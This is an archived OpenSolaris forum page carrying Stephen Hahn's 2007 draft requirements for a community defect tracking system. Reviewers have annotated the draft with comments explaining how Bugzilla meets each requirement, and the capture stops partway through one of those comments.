                        <a href=http://www.opensolaris.org/jive/thread.jspa?threadID=33319 title=Permlink><img alt=Permlink border=0 height=16 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0000.gif" width=16></a>
                      </th>
                      <th width=97%>
                        <nobr>Replies: 2 </nobr>-
                        <nobr><a href=http://www.opensolaris.org/jive/thread.jspa?messageID=131118#131118 title="by: Stephen Hahn">Last
                        Post</a>: Jun 19, 2007 4:49 PM by: Stephen Hahn </nobr>
                      </th>
                      <th nowrap=nowrap width=1%>
                        <br>
                      </th>
                    </tr>
                    </thead> <tbody></tbody>
                  </table>
                </th>
              </tr>
              </thead> <tbody></tbody>
            </table>
          </div>
        </div>
        <div class=jive-message-list>
          <div class=jive-table>
            <div class=jive-messagebox>
              <table border=0 cellpadding=0 cellspacing=0 summary=Message width=100%>
                <tbody>
                <tr class=jive-even valign=top>
                  <td class=jive-first width=1%>
                    <table border=0 cellpadding=0 cellspacing=0 width=150>
                      <tbody>
                      <tr>
                        <td>
                          <span class=jive-guest><span title="Stephen Hahn">Stephen
                          Hahn </span><br>
                          <span title="sch at sun dot com">sch at sun dot ...
                          </span></span>
                        </td>
                      </tr>
                      </tbody>
                    </table>
                  </td>
                  <td class=jive-last width=99%>
                    <table border=0 cellpadding=0 cellspacing=0 width=100%>
                      <tbody>
                      <tr valign=top>
                        <td width=1%>
                          <br>
                        </td>
                        <td width=98%>
                          <span class=jive-subject><a name=131087></a>Draft DTS
                          requirements, 2 </span><br>
                          <span class=jive-description>Posted: Jun 19, 2007 1:53
                          PM<br>
                          <br>
                          </span>
                        </td>
                        <td width=1%>
                          <div class=jive-buttons>
                            <table border=0 cellpadding=0 cellspacing=0>
                              <tbody>
                              <tr>
                                <td>
                                  &nbsp;
                                </td>
                                <td class=jive-icon>
                                  <a href=http://www.opensolaris.org/jive/post%21reply.jspa?messageID=131087 title="Click to reply to this thread"><img alt="Click to reply to this thread" border=0 height=16 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0001.gif" width=16></a>
                                </td>
                                <td class=jive-icon-label>
                                  <a href=http://www.opensolaris.org/jive/post%21reply.jspa?messageID=131087 title="Click to reply to this thread">Reply</a>
                                </td>
                              </tr>
                              </tbody>
                            </table>
                          </div>
                        </td>
                      </tr>
                      <tr>
                        <td colspan=3 style="BORDER-TOP:1px solid #cccccc; FONT-FAMILY:Courier,monospace">
                          <p>
                            <br>
                            <br>
                            I've made a number of edits, based on private
                            feedback and the<br>
                            on-alias responses. Clarifications:<br>
                            <br>
                            1. My operational concern about access to the entire
                            database was<br>
                            specifically about not having a multi-gigabyte
                            download. Nothing<br>
                            else should be read into that point.<br>
                            <br>
                            2. The relationship between the development branch
                            and the<br>
                            maintenance branches of any particular consolidation
                            does not seem<br>
                            well understood. It seems premature to conclude that
                            a multiple<br>
                            release relationship belongs in the community DTS,
                            versus a<br>
                            distribution's annotations. We can come back to
                            this, perhaps as<br>
                            some of the candidate evaluations proceed.<br>
                            <br>
                            3. It's pretty much reality that it's going to take
                            Sun time to<br>
                            transition from one DTS to another; I would expect
                            Sun is<br>
                            obligated to develop tools of the kind Alan C meant,
                            but I don't<br>
                            believe that a Phase 2 scenario can be avoided, even
                            with such<br>
                            tools instantaneously materializing.<br>
                            <br>
                            4. I would like to come back to Jim's point about
                            "what DTSs do"<br>
                            versus "what Bugster does" after we actually try one
                            or two of<br>
                            them. That is, unlike other evaluations, I think
                            there's a<br>
                            sandbox phase to the evaluation, where we agree
                            that, say, a<br>
                            notification alias is equivalent to both the IE and
                            RM--or that we<br>
                            don't agree, and need to formalize that ownership
                            relation in our<br>
                            requirements. (I suppose this point generalizes #2
                            above.)<br>
                            <br>
                            - Stephen<br>
                            <br>
                            ----<br>
                            <br>
                            OpenSolaris<br>
                            DEFECT TRACKING SYSTEM REQUIREMENTS [DRAFT]<br>
                            | Stephen Hahn<br>
                            <br>
                            <br>
                            1. Summary<br>
                            <br>
                            This document identifies and explains the
                            requirements for a defect<br>
                            tracking system (DTS) solution to be used for open
                            development.<br>
                            Software development at SMI, given that SMI is
                            already offering<br>
                            value-added products and services atop externally
                            developed<br>
                            software, has been utilizing a historical DTS that
                            has not been<br>
                            designed with an adaptable structure. The
                            requirements are grouped<br>
                            into three sets of decreasing importance. It
                            outlines a number of<br>
                            specific evaluations that will be used to determine
                            whether there is<br>
                            an existing candidate DTS capable of meeting the
                            requirements.<br>
                            <br>
                            2. Discussion<br>
                            <br>
                            2.1. Constraints<br>
                            <br>
                            As with most of the problems in transitioning from
                            proprietary to<br>
                            open development, initial inspection might lead one
                            to conclude that<br>
                            the defect tracking problem is overconstrained. In
                            the course of<br>
                            reaching a coherent and ordered set of requirements
                            for defect<br>
                            tracking, we explicitly identify some of the legacy
                            constraints, and<br>
                            eliminate their influence on a potential solution.<br>
                            <br>
                            2.1.1. Anecdotal problems<br>
                            <br>
                            The present DTS solution at SMI, "Bugster", is the
                            latest in a<br>
                            sequence of custom and semi-custom DTS
                            installations. Ignoring the<br>
                            specifics of its technical implementation, Bugster
                            presents three<br>
                            major problems for open development scenarios:<br>
                            <br>
                            * Per-account charge. The current licensing of the
                            software<br>
                            requires that each active account requires a paid
                            user license to<br>
                            an external software vendor. Given that we expect on
                            the order of<br>
                            5000 active contributing developers the OpenSolaris
                            and open JDK<br>
                            communities, an ongoing variable cost of this kind
                            is problematic.<br>
                            <br>
                            * Performance and scalability. Similarly, the
                            current system is<br>
                            implemented as an HA single clustered installation,
                            capable of<br>
                            supporting 1200 concurrent active users.<br>
                            <br>
                            * Scrubbing and proprietary information boundaries.
                            The information<br>
                            classification of the existing bug corpus is vague
                            and<br>
                            inconsistent across the numerous development groups
                            within SMI.<br>
                            Revisiting the current defects for possible
                            publication is<br>
                            uneconomic, other than on an as-needed basis. The
                            lack of a clear<br>
                            boundary has made some employees apprehensive about
                            any defect<br>
                            publication.<br>
                            <br>
                            2.1.2. Integration aspects<br>
                            <br>
                            | * Upstream/downstream. The OpenSolaris program is
                            an additional<br>
                            | step in a progression from an operating
                            environment composed<br>
                            | entirely of components created and/or maintained
                            by a single<br>
                            | organization to one constructed from a wide
                            variety of components<br>
                            | originating from multiple organizations and
                            individuals. Where<br>
                            | those components have defect state tracked in
                            their own DTS, it<br>
                            | would be economically beneficial to have that
                            state represented in<br>
                            | the community DTS used for the operating
                            environment effort, both<br>
                            | to minimize duplicate efforts and to maintain
                            accurate status on<br>
                            | the upstream component.<br>
                            <br>
                            * Other SMI systems. In contrast to the source code
                            management<br>
                            replacement, the Bugster DTS provides data to other
                            information<br>
                            | systems within Sun Microsystems. Although the
                            burden of<br>
                            confidential data management rests with Sun (for
                            that data it<br>
                            considers confidential), the DTS API must meet or
                            exceed the<br>
                            current API provided by Bugster.<br>
                            <br>
                            2.2. Ideal outcome sequence<br>
                            <br>
                            Unfortunately, migrations from one DTS to another
                            are expensive, at<br>
                            least in the experience of the Solaris/OpenSolaris
                            bug corpus. A<br>
                            realistic idealized outcome would be three-phased,
                            after the<br>
                            candidate DTS is selected and implemented:<br>
                            <br>
                            Phase 1. Two systems. Bugs could be filed in either
                            system, and<br>
                            integrations could refer to bugs in either system.
                            Duplicates<br>
                            would be encouraged to be closed in favour of the
                            community DTS.<br>
                            Work on a toolset to minimize the cost of such
                            closures and<br>
                            | migrations could begin. In principle, a Phase 1
                            deployment is<br>
                            | possible--for recording purposes--in one to three
                            months after<br>
                            | selection. Some tools integration work is required
                            to use the<br>
                            | selected candidate for commits and defect
                            resolution.<br>
                            <br>
                            Phase 2. Deprecated second system. Integrations must
                            refer only to<br>
                            bugs in the community DTS, but bugs could be filed
                            in either system.<br>
                            New bug categories and classifications are created
                            only in the<br>
                            community DTS. Client toolsets and
                            distribution-specific systems<br>
                            [1] are expected to have adjusted to the community
                            DTS capabilities.<br>
                            | After a successful exit from Phase 1, Phase 2
                            would run until the<br>
                            | legacy DTS is not deemed significant by the
                            OpenSolaris Community.<br>
                            <br>
                            Phase 3. Single system. All relevant public defect
                            data is present<br>
                            in the community DTS.<br>
                          </p>
                          <br>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Another
                            option is to have the public bug system just be
                            basically a beta until you know that all of your
                            tools work with both systems, and then switch. This
                            is a lot more convenient from the viewpoint of the
                            new DTS, because it's a lot easier to import all the
                            bugs from an old system all at once (as a single,
                            consistent whole) than it is to add them into an
                            already-existing database. -Mkanat 7/30/07 11:16
                            PM</span><br>
                          </p>
                          <p>
                            <br>
                            3. Requirements<br>
                            <br>
                            As with previous requirements documents [2], the
                            requirements described<br>
                            below arise from a number of distinct classes: some
                            are social, in<br>
                            that the requirement is believed necessary for
                            successful use in the<br>
                            community; some are technical, in that the
                            requirement is believed<br>
                            necessary to successfully produce software in a
                            multi-project,<br>
                            multi-committer, multi-site development
                            organization; and some are<br>
                            economic, in that the requirement is attempting to
                            describe<br>
                            attributes that would limit the costs of the ongoing
                            use of the<br>
                            tool.<br>
                            <br>
                            In an attempt to use neutral terms, we use the
                            phrase "candidate<br>
                            DTS" to describe the DTS solution we are evaluating
                            and "legacy DTS"<br>
                            to refer to the DTS solution in use (inside Sun,
                            with partial<br>
                            visibility via bugs.opensolaris.org) at present.<br>
                            <br>
                            The requirements are ranked by necessity, using the
                            terminology<br>
                            proposed in IEEE Std 830-1998 [3]. We incorporate
                            many of the<br>
                            requirements from Wesolowski [4]. Many of the
                            requirements are<br>
                            derived from the earlier evaluation of distributed
                            source code<br>
                            management solutions [2].<br>
                            <br>
                            3.1. "Essential" requirements<br>
                            <br>
                            E0. Open source
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Bugzilla
                            is licensed under MPL1.1&nbsp;-Timeless 7/18/07
                            11:31 PM</span>&nbsp;<br>
                            <br>
                            <br>
                            To be considered for use by the OpenSolaris
                            community, the<br>
                            candidate DTS is expected to be available in source
                            form under<br>
                            an OSI-approved license. At this point in time, the
                            community<br>
                            expects to be able to operate directly one or more
                            distinct<br>
                            instances of the DTS.<br>
                            <br>
                            E1. Universal access
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Bugs
                            in Bugzilla default to being public&nbsp;unless
                            products are otherwise&nbsp;specially
                            configured&nbsp;-Timeless 7/18/07 11:32
                            PM</span>&nbsp;<br>
                            <br>
                            <br>
                            With the exceptions identified below, all defect
                            data pertaining<br>
                            to OpenSolaris's open components and imported open
                            components<br>
                            must be available for search, view, and modify
                            operations to<br>
                            participants. Data must become available to all
                            users at the<br>
                            same time, unless restricted by an information
                            management<br>
                            agreement (such as those used in industry
                            collaborations around<br>
                            security
                            vulnerabilities).&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Groups
                            allow for restricting access&nbsp;for&nbsp;such
                            collaboration&nbsp;-Timeless 7/18/07 11:32
                            PM</span>&nbsp;<br>
                            All Participants must be potentially<br>
                            eligible for any of the generally recognised defect
                            workflow<br>
                            roles, such as responsible engineer (RE) and initial
                            evaluator<br>
                            (IE), without reference to their affiliations
                            outside the<br>
                            | Community.
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Anybody
                            can hold any role in Bugzilla. -Mkanat 7/30/07 11:18
                            PM</span>&nbsp;<br>
                            <br>
                            <br>
                            |<br>
                            | Operations will use the Participant's OpenSolaris<br>
                            | credentials as a representation of the
                            Participant's identity.<br>
                            | The candidate DTS should provide an API
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>http://www.bugzilla.org/docs/tip/html/api/Bugzilla/Auth.html
                            is the API for adding new authentication systems.
                            -Mkanat 7/30/07 10:32 PM</span>&nbsp;<br>
                            that permits the addition of other identity
                            representations, such as OpenID [5]
                            <font style=BACKGROUND-COLOR:#ffffd7><a href=https://bugzilla.mozilla.org/show_bug.cgi?id=300410>https://bugzilla.mozilla.org/show_bug.cgi?id=300410</a></font><span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>
                            -Timeless 7/18/07 11:46 PM</span>&nbsp;<br>
                            .<br>
                            <br>
                            E2. Selective differentiated access
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Bugzilla's
                            group system fully fulfills this requirement.
                            -Mkanat 7/30/07 11:20 PM</span>&nbsp;<br>
                            <br>
                            <br>
                            A mechanism must exist to indicate that a defect is
                            private to a<br>
                            set of Participants, and no part of it may be made
                            accessible to<br>
                            Participants not in that set, even if the defect's
                            subcategory<br>
                            would otherwise cause it to be accessible.<br>
                            <br>
                            This requirement is to allow for security
                            coordination, and<br>
                            similar efforts. (Requests for differentiated access
                            are<br>
                            expected to be managed by the Tools Group, the
                            Board, or a<br>
                            designee. Distributions are expected to keep
                            customer<br>
                            confidential data external to the Community DTS.)<br>
                            <br>
                            E3. Differentiated, configurable messaging<br>
                            <br>
                            All mail or other messages sent by the DTS to
                            user-supplied<br>
                            addresses (such as but not limited to a defect's
                            interest list or a<br>
                            subcategory's initial evaluator) containing defect
                            data must enforce<br>
                            the confidentiality of defects described in E2.
                            Messaging on<br>
                            defect transitions is expected to be configurable;
                            one approach<br>
                            would be a message template system.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Mail
                            is sent according to group restrictions and user
                            preferences,&nbsp;a user&nbsp;can ask to get mail
                            but unless the groups allow for the mail, it won't
                            be&nbsp;sent&nbsp;-Timeless 7/18/07 11:32
                            PM</span>&nbsp;<br>
                            <br>
                            Messaging and notification is expected to be
                            delivered as<br>
                            | electronic mail. Support for additional protocols
                            is, in<br>
                            | general, optional; support for some form of
                            syndication is<br>
                            | desirable.
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7></span><span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Bug
                            lists can be represented as RSS, which allows a sort
                            of syndication. There are also IRC bots that can
                            announce changes to bugs in IRC channels. Finally,
                            you could also set up a mailing list that got
                            emailed about certain changes on bugs, if you
                            wanted. -Mkanat 7/30/07 10:33 PM</span>&nbsp;<br>
                            <br>
                            E4. Access control enforcement<br>
                            <br>
                            The DTS must enforce the access restrictions
                            described in E2 and<br>
                            E3. It is not the intent of this specification to
                            require any<br>
                            particular method of enforcement.<br>
                            <br>
                            E5. Interface stability and
                            completeness<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7><br>
                            </span>
                          </p>
                          <br>
                          <p>
                            The storage representation, command line interfaces,
                            network<br>
                            protocols, and hooks interfaces should be documented
                            and have<br>
                            some level of declared commitment.
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>The
                            XML-RPC interface is considered a stable interface.
                            -Mkanat 7/30/07 11:23 PM</span><br>
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>There
                            is documentation for the database schema here:
                            http://www.ravenbrook.com/project/p4dti/tool/cgi/bugzilla-schema/&nbsp;
                            -- It also allows you to show the changes in the
                            schema between any two versions of Bugzilla. -Mkanat
                            7/30/07 11:25 PM</span><br>
                          </p>
                          <p>
                            The state of the storage<br>
                            representation and the operations that modify it
                            should be well<br>
                            defined, so that use with advanced file system
                            capabilities can<br>
                            be assessed for hazards. (For example, consistent
                            use with file<br>
                            system snapshot capabilities.)<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Storage
                            is maintained in MySQL or PostgreSQL. Support for
                            Oracle is likely to arrive
                            soon&nbsp;<a href=https://bugzilla.mozilla.org/show_bug.cgi?id=189947>https://bugzilla.mozilla.org/show_bug.cgi?id=189947</a></span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Generally
                            MySQL snapshotting is done via mysqlhotcopy or
                            mysqldump. I know sun loves&nbsp;to
                            emphasize&nbsp;ZFS and filesystem features and I'd
                            love to see these work well,</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>but
                            I think they're slightly beyond my
                            domain.&nbsp;-Timeless 7/18/07 11:57 PM</span>&nbsp;<br>
                            <br>
                            Use of the candidate DTS with advanced file system
                            capabilities<br>
                            should be defined. (For example: Can ZFS clones be
                            used to<br>
                            | back up the defect corpus? Can filesystem ACLs be
                            used to control<br>
                            access to portions of the repository?)<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>At&nbsp;the
                            present time the only files that might be
                            stored&nbsp;as distinct&nbsp;elements in the
                            filesystem are overly large attachments.</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Otherwise
                            the definition is "file system ACLs are not
                            used",</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>controls
                            are provided by Groups which have basic inheritance
                            and can restrict products or individual
                            bugs.</span><br>
                            <br>
                            E6. Standard operations and transactions<br>
                            <br>
                            | The candidate DTS is expected to support a variety
                            of standard<br>
                            | operations on defect reports. The following list
                            of<br>
                            | transactions are to be assessed and documented by
                            the evaluating<br>
                            | engineer:<br>
                            <br>
                            - create defect
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>enter_bug.cgi
                            -Timeless 7/19/07 12:04 AM</span>&nbsp;<br>
                            - modify defect
                            content&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>show_bug.cgi
                            -Timeless 7/19/07 12:04 AM</span>&nbsp;<br>
                            - modify defect
                            metadata&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>show_bug.cgi
                            -Timeless 7/19/07 12:04 AM</span>&nbsp;<br>
                            - place defect in resolved
                            state&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>(*)
                            Resolve bug as ... -Timeless 7/19/07 12:04
                            AM</span>&nbsp;<br>
                            - restore defect from resolved to unresolved
                            state&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>(*)
                            Reopen
                            bug&nbsp;<a href=http://www.bugzilla.org/docs/3.0/html/lifecycle.html>http://www.bugzilla.org/docs/3.0/html/lifecycle.html</a>&nbsp;-Timeless
                            7/19/07 12:07 AM</span>&nbsp;<br>
                            - associate defect with external
                            resource&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>URL
                            field, also you can create "attachments" that are
                            URLs
                            <a href=http://www.bugzilla.org/docs/3.0/html/attachments.html>http://www.bugzilla.org/docs/3.0/html/attachments.html</a>&nbsp;-Timeless
                            7/19/07 12:07 AM</span>&nbsp;<br>
                            - associate defect with another DTS-tracked defect
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Easy--Bugzilla
                            supports the idea of bugs that depend on other bugs.
                            -Mkanat 7/30/07 11:29 PM</span>&nbsp;<br>
                            <br>
                            | - associate defect with tag/text
                            label&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>keywords
                            are dedicated labels, tags are available for private
                            or shared use, and status whiteboard is freeform
                            text&nbsp;-Timeless 7/19/07 12:13 AM</span>&nbsp;<br>
                            <br>
                            - change defect
                            category&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Products/Components
                            correspond to&nbsp;category/subcategory</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>as&nbsp;they
                            appear in bugs.opensolaris.org,</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>a
                            meta beyond Products called Classification&nbsp;also
                            exists -Timeless 7/19/07 12:15 AM</span>&nbsp;<br>
                            <br>
                            Each of these transactions should correctly modify
                            the defect<br>
                            state and send appropriate notifications.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>All&nbsp;direct
                            changes to bugs are logged and mail&nbsp;is sent
                            to&nbsp;elligible accounts configured to receive
                            mail.</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Changes
                            to resolutions of directly dependent&nbsp;bugs also
                            trigger mail according to the same</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>general
                            rules. - Timeless 7/19/07 12:16
                            AM<font size=2>&nbsp;</font><br>
                            </span><span class=writely-comment style=BACKGROUND-COLOR:#ffffd7></span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Renaming
                            a Product/Component does not generate mail,</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>if
                            this is considered a problem, it could easily be
                            fixed&nbsp;-Timeless 7/19/07 12:16
                            AM<font size=2>&nbsp;</font><br>
                            </span><br>
                            Equivalency (another operation or set of operations
                            that might<br>
                            be used in place of an operation not specifically
                            supported),<br>
                            | and the reasons for the omission of a transaction,
                            are to be<br>
                            assessed and documented by the evaluating engineer.<br>
                            |<br>
                            | Additional operations supported by the candidate
                            DTS on defect<br>
                            | reports should be documented by the evaluating
                            engineer.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Flags
                            can be used to indicate additional state
                            or&nbsp;nominations for states.</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Flags
                            can be&nbsp;attached to bugs&nbsp;and attachments
                            -Timeless 7/19/07 12:19 AM</span>&nbsp;<br>
                            <br>
                            E7. Scalability<br>
                            <br>
                            The candidate DTS must have one or more deployment<br>
                            methods that allow the DTS to carry large query
                            loads. The<br>
                            latency between a defect report update and its
                            accessibility to<br>
                            be queried must be documented for such scenarios.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Shadow
                            database used for queries
                            <a href=http://www.bugzilla.org/docs/3.0/html/parameters.html#shadowdb>http://www.bugzilla.org/docs/3.0/html/parameters.html#shadowdb</a>&nbsp;-Timeless
                            7/19/07 12:20 AM</span>&nbsp;<br>
                            <br>
                            | E8. Interface extensibility<br>
                            <br>
                            Beyond the requirements of E3, an extensible
                            interface, so that<br>
                            OpenSolaris-specific tools might be integrated with
                            DTS<br>
                            operations is desired. Such an interface might be
                            composed of a<br>
                            documented "hooks"
                            interface,&nbsp;<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>hooks&nbsp;<a href=http://www.bugzilla.org/docs/3.0/html/cust-hooks.html>http://www.bugzilla.org/docs/3.0/html/cust-hooks.html</a>&nbsp;</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>are
                            placed around most items and have a documented
                            versioned interface&nbsp;-Timeless 7/19/07 12:25
                            AM</span><br>
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Also
                            see the list of current code hooks at
                            http://www.bugzilla.org/docs/tip/html/api/Bugzilla/Hook.html</span><span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>-
                            Mkanat 7/30/07 10:36 PM</span>&nbsp;<br>
                            a documented library interface, or<br>
                            some other modular approach. An extensive hooks
                            interface, with<br>
                            hook evaluations able to terminate operations, is a
                            strongly<br>
                            desired attribute in a candidate DTS; a candidate
                            DTS with such<br>
                            an interface will be considered to meet fully this
                            requirement.<br>
                            <br>
                            | Such interfaces are expected to allow the
                            automation of specific<br>
                            | operations, such as the mass state updates
                            performed by a<br>
                            | consolidation's C-Team.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#d7ffd7>Confused.
                            In bugzilla mass changes can be made by normal users
                            using the&nbsp;UI.</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#d7ffd7>What
                            is the purpose of this automation?</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#d7ffd7>Are
                            you trying to supress bugmail or avoid using the
                            standard user interface or improve
                            speed?&nbsp;-Timeless 7/19/07 12:27 AM</span>&nbsp;<br>
                            |<br>
                            | It should be possible, via the interfaces or
                            extension<br>
                            | facilities, to perform administrative operations
                            on the DTS:<br>
                            | creation, modification, and closure of defect
                            categories (or<br>
                            | other defect classifications);<br>
                            | creation, modification, and deletion of DTS user
                            accounts (or<br>
                            | other user or group relationships); and similar
                            operations.<br>
                            |<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffd7ff>Deleting
                            anything is not recommended&nbsp;(this is a personal
                            view).</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffd7ff>Bugzilla
                            can delete things. However, generally in an open
                            system,</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffd7ff>you
                            should never delete anything. -Timeless 7/19/07
                            12:30 AM</span>&nbsp;<br>
                            <br>
                            | E9. Stable defect representation<br>
                            |<br>
                            | Specifically extending E3 and E8, the candidate
                            DTS will have a<br>
                            | stable, formatted representation of a defect
                            report. A<br>
                            | candidate DTS that emitted defect reports in a
                            documented plain<br>
                            | text or XML format would satisfy this requirement.<br>
                            |<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>a
                            dtd
                            <a href=https://bugzilla.mozilla.org/bugzilla.dtd>https://bugzilla.mozilla.org/bugzilla.dtd</a>
                            is included with bugzilla.</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Any
                            accessible bug can be retrieved as an xml file in
                            that format. -Timeless 7/19/07 12:33 AM</span>&nbsp;<br>
                            <br>
                            | E10. Hierarchical defect classification<br>
                            |<br>
                            | It appears that a candidate DTS, to represent the
                            current defect<br>
                            | corpus, must provide some means of classification
                            that can<br>
                            | represent at least a product-category-subcategory
                            hierarchy.
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Classification
                            <a href=http://www.bugzilla.org/docs/3.0/html/classifications.html>http://www.bugzilla.org/docs/3.0/html/classifications.html</a>&nbsp;/</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Product
                            <a href=http://www.bugzilla.org/docs/3.0/html/products.html>http://www.bugzilla.org/docs/3.0/html/products.html</a>&nbsp;/</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>Component&nbsp;<a href=http://www.bugzilla.org/docs/3.0/html/components.html>http://www.bugzilla.org/docs/3.0/html/components.html</a>&nbsp;-Timeless
                            7/19/07 12:46 AM</span>&nbsp;<br>
                            <br>
                            | (Although a candidate DTS could meet this
                            requirement with only<br>
                            | generic defect metadata ("tagging"), it is
                            expected that queries<br>
                            | will regularly use the defect classifications to
                            narrow the<br>
                            | query results, leading to an effective performance
                            criterion.)<br>
                            |<br>
                            | 2.2. "Conditional" requirements<br>
                            |<br>
                            | C11. Ease of use<br>
                            |<br>
                            | The candidate DTS should be easy to install in a
                            reasonably<br>
                            | self-contained fashion. In principle, shipment in
                            an<br>
                            | OpenSolaris consolidation should be possible with
                            a finite<br>
                            | investment of resources, meaning that the
                            candidate DTS does<br>
                            | not have a complicated makefile system, has
                            dependencies that<br>
                            | can be easily managed, etc.
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>The
                            majority of installation is done by a single script,
                            which also prints out all the dependencies (which
                            are mostly just Perl modules) -Mkanat 7/30/07 10:39
                            PM</span>&nbsp;<br>
                            |<br>
                            | The primary interfaces should be understandable
                            based on the<br>
                            | interfaces and documentation to a user familiar
                            with<br>
                            | DTS concepts.<br>
                            |<span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Bugzilla
                            is the de-facto standard OSS bug-tracker, so most
                            people are familiar with it, particularly in the
                            Open Source world. -Mkanat 7/30/07 10:39
                            PM</span>&nbsp;<br>
                            <br>
                            | C12. Stable per-defect URIs<br>
                            |<br>
                            | The candidate DTS should provide a unique URI for
                            each defect<br>
                            | represented in the system, or at very minimum, a
                            unique ID that<br>
                            | can be used as the basis for such a URI. The
                            unique component<br>
                            | is expected to have some association with the
                            product or<br>
                            | products tracked by the candidate DTS.<br>
                            |<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7><em>urlbase</em>/show_bug.cgi?id=<em>ID.</em>&nbsp;bugs.opensolaris.org
                            doesn't do more.</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#d7ffd7>If
                            a bug changes product and you encode the product as
                            part of the</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#d7ffd7>unique&nbsp;ID,
                            then you have problems. I don't&nbsp;understand why
                            this</span>
                          </p>
                          <br>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#d7ffd7>is
